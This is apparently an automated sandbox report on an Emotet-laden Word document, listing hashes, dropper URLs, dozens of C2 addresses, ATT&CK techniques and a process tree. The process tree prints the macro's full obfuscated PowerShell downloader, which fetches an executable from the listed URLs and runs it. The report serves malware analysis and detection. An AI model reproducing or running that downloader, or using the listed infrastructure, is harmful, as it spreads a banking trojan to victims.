emotet | bb0c5d0c4e2a4b8b8ab614226ec5a46e7b8d257072305d5ad98dacb489b852c1

General

Target
emotet_e2_bb0c5d0c4e2a4b8b8ab614226ec5a46e7b8d257072305d5ad98dacb489b852c1_2020-08-21__192159._doc.doc
Size 177KB
Sample200821-zdkwffsrl6
SHA256 bb0c5d0c4e2a4b8b8ab614226ec5a46e7b8d257072305d5ad98dacb489b852c1
MD5 b00d7f2301031f80908c4044997759cf
SHA1 7430806d7c01dcecac0a03a6ccb13b972c553575
SHA512 7830a766241d455747bd278d4dda00169dd763c0c2c9119c0c9e012edb41a75862a829d683e2775a8cde64c03141cffb7990e3b09e2a0bf746b58851507a6b00
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://avtoshoolvsa.zt.ua/bin/N/
exe.dropper
http://rootsroundup.com/css/98Y1F8/
exe.dropper
http://riqam.com/wp-content/sW/
exe.dropper
http://ronymotto.com/wp-content/v/
exe.dropper
http://exithum.com.br/Folder_Lean_Jun/0/
exe.dropper
http://schonlinepvc.com/test/dDS/
exe.dropper
http://m3wealth.com/mt-content/UskDK/

Extracted

Family

emotet

C2

137.119.36.33:80
116.202.234.183:8080
69.30.203.214:8080
204.197.146.48:80
87.106.136.232:8080
153.163.83.106:80
91.211.88.52:7080
93.147.212.206:80
222.214.218.37:4143
189.212.199.126:443
203.153.216.189:7080
83.169.36.251:8080
188.83.220.2:443
104.236.246.93:8080
173.62.217.22:443
5.196.74.210:8080
68.188.112.97:80
139.130.242.43:80
61.19.246.238:443
24.179.13.119:80
157.245.99.39:8080
116.203.32.252:8080
203.117.253.142:80
75.139.38.211:80
41.60.200.34:80
2.58.16.85:7080
199.101.86.142:8080
169.239.182.217:8080
209.141.54.221:8080
121.124.124.40:7080
67.205.85.243:8080
79.98.24.39:8080
85.105.205.77:8080
200.41.121.90:80
185.94.252.104:443
24.233.112.152:80
37.187.72.193:8080
89.186.91.200:443
47.144.21.12:443
103.86.49.11:8080
95.179.229.244:8080
190.55.181.54:443
113.160.130.116:8443
62.75.141.82:80
47.146.117.214:80
187.161.206.24:80
104.131.44.150:8080
109.74.5.95:8080
200.114.213.233:8080
139.59.60.244:8080
81.2.235.111:8080
174.137.65.18:80
24.43.99.75:80
201.173.217.124:443
137.59.187.107:8080
46.105.131.79:8080
70.121.172.89:80
78.24.219.147:8080
74.120.55.163:80
85.152.162.105:80
93.51.50.171:8080
98.109.204.230:80
104.131.11.150:443
95.213.236.64:8080
153.232.188.106:80
176.111.60.55:8080
74.208.45.104:8080
174.102.48.180:80
190.160.53.126:80
152.168.248.128:443
180.92.239.110:8080
37.139.21.175:8080
157.147.76.151:80
167.86.90.214:8080
24.137.76.62:80
112.185.64.233:80
5.39.91.110:7080
87.106.139.101:8080
97.82.79.83:80
85.66.181.138:80
181.230.116.163:80
37.70.8.161:80
110.145.77.103:80
168.235.67.138:7080
68.44.137.144:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2560	804	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/584-16-0x0000000000510000-0x000000000051C000-memory.dmp	emotet
behavioral2/memory/584-16-0x0000000000510000-0x000000000051C000-memory.dmp	emotet
behavioral2/memory/1136-19-0x0000000000540000-0x000000000054C000-memory.dmp	emotet
behavioral2/memory/1136-19-0x0000000000540000-0x000000000054C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
32	2560	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
584	Wl0ra8ue0.exe
1136	browseui.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\d3d11\browseui.exe	Wl0ra8ue0.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3992	WINWORD.EXE
3992	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2560	powersheLL.exe
2560	powersheLL.exe
2560	powersheLL.exe
1136	browseui.exe
1136	browseui.exe
1136	browseui.exe
1136	browseui.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2560	powersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE
3992	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 584	2560	powersheLL.exe	77
PID 2560 wrote to memory of 584	2560	powersheLL.exe	77
PID 2560 wrote to memory of 584	2560	powersheLL.exe	77
PID 584 wrote to memory of 1136	584	Wl0ra8ue0.exe	78
PID 584 wrote to memory of 1136	584	Wl0ra8ue0.exe	78
PID 584 wrote to memory of 1136	584	Wl0ra8ue0.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_bb0c5d0c4e2a4b8b8ab614226ec5a46e7b8d257072305d5ad98dacb489b852c1_2020-08-21__192159._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3992

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABFADMANwB6AGcAagBlAD0AKAAnAFQAJwArACcAMgA0ACcAKwAnADkAagB1AHgAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBQAFwAbwBGAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAVQByAGkAVAB5AGAAUABSAGAAbwBUAGAATwBDAE8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIAJwArACcALAAnACsAJwAgAHQAJwArACcAbABzADEAJwArACcAMQAsACAAdABsAHMAJwApADsAJABJAGgAbQB0ADMAcQBqACAAPQAgACgAJwBXAGwAMAAnACsAJwByAGEAJwArACcAOAB1AGUAMAAnACkAOwAkAFEAeAAyAGkAegBjAGYAPQAoACcAUwAnACsAJwB4AGkAeQBvACcAKwAnAGoAZwAnACkAOwAkAE4AawB1AHAAZQBxAHQAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAAnACsAJwB9AE8AZgAnACsAJwBmAGkAYwBlACcAKwAnADIAMAAxACcAKwAnADkAewAwAH0AJwApAC0AZgAgACAAWwBjAGgAQQByAF0AOQAyACkAKwAkAEkAaABtAHQAMwBxAGoAKwAoACcALgAnACsAJwBlAHgAZQAnACkAOwAkAFIAbwB5AHYAbgAzAHUAPQAoACcAUgBxAHIAJwArACcANABzACcAKwAnAGoAaQAnACkAOwAkAEIAZwA4AHEAMwB2AGwAPQAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAYwBMAEkARQBuAHQAOwAkAFAAcwBqADAANgBkADIAPQAoACcAaAB0ACcAKwAnAHQAJwArACcAcAA6AC8ALwBhAHYAJwArACcAdABvAHMAaABvACcAKwAnAG8AJwArACcAbAB2AHMAYQAuACcAKwAnAHoAdAAnACsAJwAuAHUAJwArACcAYQAvACcAKwAnAGIAaQBuAC8ATgAvACoAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwByAG8AbwB0AHMAcgBvAHUAJwArACcAbgBkAHUAJwArACcAcAAuAGMAbwBtAC8AYwBzAHMALwAnACsAJwA5ACcAKwAnADgAJwArACcAWQAxACcAKwAnAEYAJwArACcAOAAvACcAKwAnACoAaAB0AHQAcAAnACsAJwA6AC8AJwArACcALwByACcAKwAnAGkAcQAnACsAJwBhACcAKwAnAG0AJwArACcALgAnACsAJwBjACcAKwAnAG8AbQAvAHcAJwArACcAcAAtAGMAJwArACcAbwBuACcAKwAnAHQAZQBuACcAKwAnAHQALwAnACsAJwBzACcAKwAnAFcALwAqACcAKwAnAGgAdAB0AHAAOgAvAC8AcgBvAG4AJwArACcAeQBtACcAKwAnAG8AJwArACcAdAB0ACcAKwAnAG8ALgAnACsAJwBjACcAKwAnAG8AJwArACcAbQAnACsAJwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB2AC8AKgBoAHQAdABwADoALwAvAGUAJwArACcAeABpAHQAJwArACcAaAB1AG0ALgBjAG8AJwArACcAbQAnACsAJwAuACcAKwAnAGIAcgAvAEYAbwBsAGQAZQByACcAKwAnAF8AJwArACcATABlAGEAbgBfAEoAdQAnACsAJwBuAC8AMAAvACoAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8ALwBzAGMAaAAnACsAJwBvACcAKwAnAG4AbABpAG4AJwArACcAZQAnACsAJwBwACcAKwAnAHYAJwArACcAYwAuAGMAJwArACcAbwBtAC8AJwArACcAdABlACcAKwAnAHMAdAAvAGQARABTAC8AKgAnACsAJwBoACcAKwAnAHQAdAAnACsAJwBwACcAKwAnADoAJwArACcALwAvAG0AJwArACcAMwB3ACcAKwAnAGUAYQBsAHQAJwArACcAaAAuAGMAbwAnACsAJwBtAC8AbQB0AC0AYwBvAG4AJwArACcAdABlAG4AdAAvAFUAcwBrAEQAJwArACcASwAvACcAKQAuACIAcwBwAGAATABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABTAHYAdgByAHAAdABjAD0AKAAnAFUAJwArACcAbAA1AGEAJwArACcAMgBoADgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQATgBvAHIAOABvAGQAbQAgAGkAbgAgACQAUABzAGoAMAA2AGQAMgApAHsAdAByAHkAewAkAEIAZwA4AHEAMwB2AGwALgAiAGQAYABvAGAAVwBuAEwATwBhAGQARgBgAGkAbABlACIAKAAkAE4AbwByADgAbwBkAG0ALAAgACQATgBrAHUAcABlAHEAdAApADsAJABJAHgAaQBmAHIAbwBqAD0AKAAnAEMAbQAnACsAJwB1AGkAdgBtAHAAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAE4AawB1AHAAZQBxAHQAKQAuACIAbABFAGAATgBgAGcAdABIACIAIAAtAGcAZQAgADIAOQAxADQANAApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABOAGsAdQBwAGUAcQB0ACkAOwAkAE0AOQA1AHkAegAwAGYAPQAoACcAWAA0AGIAOQB1ACcAKwAnAHkAcgAnACkAOwBiAHIAZQBhAGsAOwAkAFUAcgA3AGIAYwBrAG0APQAoACcAUwBvAGQAMAAnACsAJwA1AGYAcQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEoAdgBqAGoAZABiAHgAPQAoACcAQwA1AHUAdgBoACcAKwAnADAAJwArACcAdAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Users\Admin\AppData\Local\Temp\Office2019\Wl0ra8ue0.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Wl0ra8ue0.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:584
- - C:\Windows\SysWOW64\d3d11\browseui.exe
    "C:\Windows\SysWOW64\d3d11\browseui.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1136

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/584-16-0x0000000000510000-0x000000000051C000-memory.dmp

Download

memory/1136-19-0x0000000000540000-0x000000000054C000-memory.dmp

Download

memory/2560-10-0x00007FF8F9BC0000-0x00007FF8FA5AC000-memory.dmp

Download

memory/2560-11-0x0000018A255F0000-0x0000018A255F1000-memory.dmp

Download

memory/2560-12-0x0000018A258C0000-0x0000018A258C1000-memory.dmp

Download

memory/3992-0-0x00007FF901DC0000-0x00007FF902486000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads